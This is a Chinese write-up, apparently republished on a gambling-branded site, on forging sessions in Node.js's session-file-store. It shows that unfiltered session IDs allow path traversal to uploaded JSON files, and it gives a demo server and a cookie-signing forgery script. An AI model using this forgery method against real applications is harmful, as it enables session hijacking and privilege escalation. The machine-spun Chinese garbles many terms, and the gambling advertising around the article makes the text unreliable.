session-file-store库的session捏造 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

session-file-store库的session捏造

申博_安全防护 申博 254次浏览 已收录 0个评论

论信息泄露在实际业务应用中的危害

上个月做了一次项目,是某系统的测试,简单做一次测试总结 首先拿到项目给的测试范围,几个域名打开发现都是需要登入的系统,首页只有一个登入框。 第一眼。没啥思路,有验证码burp爆破路子是行不通了。测试也不让用扫描器,于是上搜索引

1.媒介

node.js 的 session-file-store 库是依赖于 express 或其他中间件的一个第三方库, 这个库为 express session的文件存储供应了一个越发快速的接口, 然则当没有为session公道的设置装备摆设密钥或许在session的设置装备摆设文件泄漏时就有能够致使session捏造.

2.session机制

因为 http 是一种无状况的协定致使服务端没法依据之前的状况举行本次的要求处置惩罚, 为了处理HTTP的状况治理, 引入了http的cookie手艺, cookie手艺经由过程要乞降相应报文中增加cookie信息, 服务端会依据cookie信息来推断客户端状况以做出恰当的相应.
但是cookie的素质是若干个存在客户端的键值对, 键为cookie的称号, 值为cookie的value, 客户端能够随便对cookie的内容举行修正, 删除, 增加, 虽然也涌现出来相似于署名防备修正, 加密防备修正的设施来处理相似的题目, 然则一些敏感的信息照旧就不合适存在cookie中.
以是涌现了基于cookie机制的session机制, session机制并没有跳出cookie机制的领域, 而是对cookie的一种特别的完成计划, cookie的素质就是储存在客户端的一系列键值对, 服务端指定一个键值作为的session键(假定指定名为”SESSION”的cookie作为session), 那末SESSON这个键所对应的值是服务端所天生的一个随机字符串(我们一般称它为SESSIONID), 没错是随机字符串, 这串随机字符串自身和客户端状况没有任何的直接联络, 在服务端经由过程SESSIONID和客户端状况绑定的体式格局举行认证.

而在服务端将这些客户端状况存储的地位能够多样化, 能够存放在文件中, 能够存放在数据库中, 以至能够直接放在内存中(只需不怕溢出), 以是session既包管了客户端没法修正推断客户端状况所运用的数据, 又包管了用于考证的敏感数据不会泄漏.

3.session-file-store的session捏造

起首这个session的捏造须要两个前提:

  1. 恣意文件读取或许文件上传
  2. 经由过程爆破或许是设置装备摆设文件泄漏取得session的署名

session-file-store的session作为一个json文件存储存储在对应的文件中, 一个session文件情势以下:

{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"views":4,"__lastAccess":1554220794810}

你会发明这个文件是明文存放在session目次下, 那session的署名究竟签在那里了呢?

session-file-store库的session捏造
原来是签在了sessionID上, 考证sessionID是不是曾被修正过. 那末session是怎样署名,署名又是怎样被考证的呢?
浏览相干源码和文档发明署名的授与和考证都是由 express-session 库来实行的, 以是这里略讲

express-session/index.js – Function – setcookie

function setcookie(res, name, val, secret, options) {
  var signed = 's:' + signature.sign(val, secret);
  var data = cookie.serialize(name, signed, options);

  debug('set-cookie %s', data);

  var prev = res.getHeader('set-cookie') || [];
  var header = Array.isArray(prev) ? prev.concat(data) : [prev, data];

  res.setHeader('set-cookie', header)
}

署名天生局部

express-session/index.js – Function – getcookie

function getcookie(req, name, secrets) {
  var header = req.headers.cookie;
  var raw;
  var val;

  // read from cookie header
  if (header) {
    var cookies = cookie.parse(header);

    raw = cookies[name];

    if (raw) {
      if (raw.substr(0, 2) === 's:') {
        val = unsigncookie(raw.slice(2), secrets);

        if (val === false) {
          debug('cookie signature invalid');
          val = undefined;
        }
      } else {
        debug('cookie unsigned')
      }
    }
  }
    //....
  return val;
}

署名考证代码, 从这个代码这里也能够看出署名和session的内容没有关系, 只和session的称号有关.

那末接下来看一下session-file-store的关于猎取session内容的相干的代码
起首固然照样检察index.js了
index.js

module.exports = function(session) {
  return require('./lib/session-file-store')(session);
};

index.js 相称的清洁, 继承去检察 ./lib/session-file-store.js 继承检察代码逻辑.

session-file-store.js – Object – FileStore(局部)

FileStore.prototype.get = function (sessionId, callback) {
    helpers.get(sessionId, this.options, callback);
  };

跟入 session-file-store.js 发明了界说session猎取内容的函数 get , 它运用了helpers工具下的同名函数.

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

session-file-store.js – / – helpers

var helpers = require('./session-file-helpers');

发明helpers是从 session-file-helpers.js 中暴露出的一个工具, 继承跟入 session-file-helper.js 检察对应的逻辑.

session-file-helper.js – Function – get(局部)

get: function (sessionId, options, callback) {
    var sessionPath = helpers.sessionPath(options, sessionId);

    var operation = retry.operation({
      retries: options.retries,
      factor: options.factor,
      minTimeout: options.minTimeout,
      maxTimeout: options.maxTimeout
    });

    operation.attempt(function () {

      fs.readFile(sessionPath, helpers.isSecret(options.secret) && !options.encryptEncoding ? null : options.encoding, function readCallback(err, data) {
        if (!err) {
          var json;
          try {
            json = options.decoder(helpers.isSecret(options.secret) ? helpers.decrypt(options, data, sessionId) : data);
          } catch (parseError) {
            return fs.remove(sessionPath, function (removeError) {
              if (removeError) {
                return callback(removeError);
              }

              callback(parseError);
            });
          }
        }
                //....
      });
    });
  },

依据代码的第2行和第13可知读取session时会经由过程 helpers.sessionPath 函数猎取文件途径, 那末继承跟入sessionPath函数

session-file-helper.js – Function – sessionPath

sessionPath: function (options, sessionId) {
    //return path.join(basepath, sessionId + '.json');
    return path.join(options.path, sessionId + options.fileExtension);
  },

可见没有任何过滤, 也没有考证文件是不是存在, 就直接经由过程 path.join 函数将 option.path , sessionId , options.fileExtension 三个参数拼接在了一同, 以是这里能够经由过程向session中增加 /xxx 或许 ../ , 来让 session-file-store 将不属于sessions目次的文件夹下的json文件看成session.

在当地搭建一个测试demo, 代码以下:

var express = require('express');
var app = express();
var session = require('express-session');
var FileStore = require('session-file-store')(session);

app.use(session({
    store: new FileStore(),
    secret: 'keyboard cat',
    resave: false,
    saveUninitialized: false,
    rolling: true,
  })
);

app.get('/', function (req, res) {
  if (req.session.views) {
    req.session.views++;
    res.setHeader('Content-Type', 'text/html');
    res.write('<p>views: ' + req.session.views + '</p>');
    res.end();
  } else {
    req.session.views = 1;
    res.end('Welcome to the file session demo. Refresh page!');
  }
});

var server = app.listen(1337, function () {
  var host = server.address().address;
  var port = server.address().port;

  console.log('Example app listening at http://%s:%s', host, port);
});

搭建一个捏造session用的剧本代码以下:
这个剧本发起在node_modules/express-session目次下竖立, 否则就须要require一个很深的途径.

var cookie = require('cookie');
var crc = require('crc').crc32;
var debug = require('debug')('express-session');
var deprecate = require('depd')('express-session');
var parseUrl = require('parseurl');
var uid = require('uid-safe').sync
  , onHeaders = require('on-headers')
  , signature = require('cookie-signature')

var val = ""; //修正后的sessionID
var secret = ""; //署名session用的密钥
var name = "name";
var options = undefined;

var signed = 's:' + signature.sign(val, secret);
var data = cookie.serialize(name, signed, options);

debug('set-cookie %s', data);

console.log(data);

session放在sessions目次中, 假定有一个文件上传点, 上传目次在和sessions同级的upload目次下, 本身当地建立一个json文件将view改成9999后上传, 上传后的文件名为 XcEx97vGpX0ORgSj8lGMiEg98lSOGDf_.json .

先运转捏造session的剧本取得署名后的sessionID.
session-file-store库的session捏造

然后用burp修正我们的sessionID为签过名的session.
session-file-store库的session捏造

每个session都有一个时间戳 "__lastAccess":1554299511812 这个记得要改.

若是没有文件上传也能够斟酌是不是能够经由过程日记或许甚么之类的器械建立json文件, 毕竟是session以是容错率实在很高, 同时也能够应用目次遍历和恣意文件读取来偷取别人的session.

QT破绽的细致引见:CVE-2019-1636与CVE-2019-6739

我们最近发现了一个有趣的漏洞,该漏洞影响了大量的Qt5产品。 由于许多开发人员依赖Qt框架进行C ++和Python开发,因此此bug可能造成十分严重的影响。 使用Qt5框架构建的GUI应用程序均包含有一组受支持的命令行选项,而这些选项可以传递部


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明session-file-store库的session捏造
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址